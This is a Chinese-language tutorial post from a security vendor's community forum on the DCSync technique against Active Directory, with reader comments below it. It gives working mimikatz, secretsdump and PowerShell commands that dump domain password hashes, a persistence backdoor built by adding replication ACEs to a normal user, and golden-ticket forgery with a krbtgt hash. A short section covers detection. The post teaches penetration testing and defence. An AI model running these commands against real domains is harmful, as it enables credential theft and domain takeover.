什么是DCSync
  

深信服认证 7533

{{ttag.title}}
本帖最后由 深信服认证 于 2022-10-28 14:06 编辑

什么是DCSync
在域环境中,域控制之间每十五分钟就会进行一次域数据同步。当域控制A需要从域控制器B获取数据时,会向其发送一个 GetNCChanges 请求,该请求包含了需要同步的数据,如果获取的数据较多,则会进行循环请求。

DCSync是mimikatz在2015年添加的一个功能,利用的这个原理,通过 Directory Replication Service(DRS) 服务的 GetNCChanges 接口模仿一个域控制器向另一个域控制器发起数据同步请求,能够用来导出域内所有用户的hash。

在 DCSync 功能出现之前,要想获得域用户的哈希,需要登录域控制器,在域控制器上执行代码才能获得域用户的哈希。使用DCSync就可以远程通过域数据同步复制的方式模仿域控从真实的域控当中请求数据获得想要的用户hash。
利用条件

获得以下任一用户的权限:
  • Domain Admins组内的用户
  • Administrators组内的用户
  • Enterprise Admins组内的用户
  • 域控制器的计算机帐户


默认只有域控主机账号和域管理员能进行Dcsync,其机器账号拥有WriteACL的权限,可以给指定用户添加Dcsync来dump域哈希。

利用 DCSync 导出域内哈希
mimikatz
导出administrator用户的Hash
privilege::debuglsadump::dcsync /domain:god.org /user:administrator


导出域内所有用户的hash
lsadump::dcsync /domain:god.org /all


Secretsdump.py

Secretsdump.py 是 Impacket 框架中的一个脚本,该脚本也可以通过 DCSync 技术导出域控制器上用户的哈希。该工具的原理是首先使用提供的用户登录凭据通过 smbexec 或者 wmiexec 远程连接至域控制器并获得高权限,进而从注册表中导出本地帐户的哈希,同时通过 Dcsync 或从 NTDS.dit 文件中导出所有域用户的哈希。其最大的优点是支持从域外的计算机连接至域控制器。

导出administrator用户的Hash
proxychains python3 secretsdump.py god/administrator:Admin12345@192.168.3.21 -dc-ip 192.168.3.21 -just-dc-user administrator


获取所有域用户哈希, 包括机器用户
proxychains python3 secretsdump.py god/administrator:Admin12345@192.168.3.21


powershell
通过Invoke-ReflectivePEinjection调用mimikatz.dll中的dcsync功能
导出域内所有用户的hash:
Invoke-DCSync -DumpForest | ft -wrap -autosize


导出域内administrator帐户的hash:
Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize


利用DCSync在域内维持权限
利用条件:
  • Domain Admins组内的用户
  • Enterprise Admins组内的用户


利用原理:
向域内的一个普通用户添加如下三条ACE(Access Control Entries):
  • DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
  • DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
  • DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c)


添加ACE:
向mary用户添加以上三条ACE
Add-DomainObjectAcl -TargetIdentity "DC=god,DC=org" -PrincipalIdentity mary -Rights DCSync -Verbose
!

导出哈希:
通过secretsdump导出域管账号hash
proxychains python3 secretsdump.py 'god/mary:admin!@#45'@192.168.3.21 -dc-ip 192.168.3.21 -just-dc-user administrator


通过mimikatz导出所有账号hash
mimikatz.exe privilege::debug "lsadump::dcsync /domain:god.org /all /csv" exit


使用runas实现登录mary再使用DCSync
runas /noprofile /user:god\mary cmd


查询具有 DCSync 权限的用户
AdFind.exe -s subtree -b "DC=god,DC=org" -sdna nTSecurityDescriptor -sddl+++ -sddlfilter ;;;"Replicating Directory Changes";; -recmute


利用 DCSync 制作黄金票据
使用 Mimikatz 的 DCSync 功能导出域控制器中 krbtgt 账户的哈希:
lsadump::dcsync /domain:god.org /user:krbtgt


通过 krbtgt 账户的哈希生成黄金票据
kerberos::golden /user:administrator /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /krbtgt:b097d7ed97495408e1537f706c357fc5 /ticket:Administrator.kiribi


当前访问域控资源,是被拒绝的


进行票据传递
kerberos::ptt Administrator.kiribi


再次访问域控资源


自动化检测DCSync后门的方法
具有高权限但不在高权限组的用户被称之为Shadow Admin,例如域用户mary,仅通过查询高权限组的成员无法发现域内的Shadow Admin
可使用ACLight工具枚举Active Directory中所有用户的ACL,标记出特权帐户。

本期作者李忻蔚:深信服安全服务认证专家(SCSE-S),产业教育中心资深讲师,曾任职于中国电子科技网络信息安全有限公司,担任威胁情报工程师、渗透测试工程师、安全讲师;多年来为政府部门进行安全培训,安全服务;多次参与国家级、省级攻防比武的出题和保障任务,擅长Web安全、渗透测试与内网渗透方向。

打赏鼓励作者,期待更多好文!

打赏
46人已打赏

水若善 发表于 2022-10-28 20:05
  
有助于学习!!!!!!!!
wshellym 发表于 2022-10-28 21:29
  
有助于学习!!!!!!!!
এ塔铃独语别黄昏এ 发表于 2022-10-28 22:10
  
有助于学习!!!!!!!!
新手741261 发表于 2022-10-28 22:14
  
有助于学习!!!!!!!!
新手031815 发表于 2022-10-28 22:27
  
有助于学习!!!!!!!!
新手612152 发表于 2022-10-28 22:30
  
有助于学习!!!!!!!!
司马缸砸了光 发表于 2022-10-28 22:34
  
有助于学习!!!!!!!!
新手078326 发表于 2022-10-28 22:38
  
有助于学习!!!!!!!!
JM 发表于 2022-10-28 22:42
  
有助于学习!!!!!!!!
发表新帖
热门标签
全部标签>
每日一问
技术笔记
功能体验
技术咨询
新版本体验
2023技术争霸赛专题
技术盲盒
干货满满
标准化排查
产品连连看
GIF动图学习
信服课堂视频
技术晨报
自助服务平台操作指引
运维工具
安装部署配置
秒懂零信任
每日一记
用户认证
通用技术
安全攻防
答题自测
云计算知识
SDP百科
设备维护
深信服技术支持平台
畅聊IT
sangfor周刊
资源访问
排障笔记本
社区帮助指南
专家问答
技术圆桌
在线直播
MVP
网络基础知识
升级
上网策略
测试报告
日志审计
问题分析处理
流量管理
原创分享
解决方案
VPN 对接
项目案例
SANGFOR资讯
专家分享
技术顾问
信服故事
功能咨询
终端接入
授权
迁移
地址转换
虚拟机
存储
加速技术
产品预警公告
玩转零信任
信服圈儿
S豆商城资讯
技术争霸赛
「智能机器人」
追光者计划
答题榜单公布
纪元平台
卧龙计划
华北区拉练
天逸直播
以战代练
山东区技术晨报
文档捉虫活动
齐鲁TV
华北区交付直播
每周精选

本版版主

82
219
0

发帖

粉丝

关注

本版达人